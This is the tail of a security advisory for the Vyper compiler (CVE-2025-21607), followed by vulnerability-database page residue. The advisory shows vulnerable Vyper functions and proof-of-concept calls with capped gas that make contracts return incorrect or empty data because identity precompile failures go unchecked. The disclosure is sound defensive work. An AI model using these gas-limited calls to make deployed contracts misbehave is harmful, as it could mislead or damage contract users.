data\n```\n\n\n#### Identity and accessing the length of the target data\n\n- Affected versions: 0.3.10 - 0.4.0\n- Accessing the data is fairly cheap, making it possible for smaller data copies\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e uint256:\n y: String[1000000] = x\n return len(y)\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata) # Returns correct length\ny = c.foo(calldata, gas=7_929_200) # Returns incorrect length\n```\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.3.10 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e String[1000000]:\n return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata) # Returns calldata\ny = c.foo(calldata, gas=8_000_000) # Returns empty data\n```\n\n### Impact\n\nA contract search was conducted and yielded no significant results.\n\nThe advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.",
"id": "GHSA-vgf2-gvx8-xwc3",
"modified": "2025-04-24T14:39:58Z",
"published": "2025-01-14T16:34:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21607"
},
{
"type": "WEB",
"url": "https://github.com/vyperlang/vyper/pull/4451"
},
{
"type": "WEB",
"url": "https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2025-33.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vyperlang/vyper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vyper Does Not Check the Success of Certain Precompile Calls"
}
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Sightings
| Author | Source | Type | Date | Other |
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Nomenclature
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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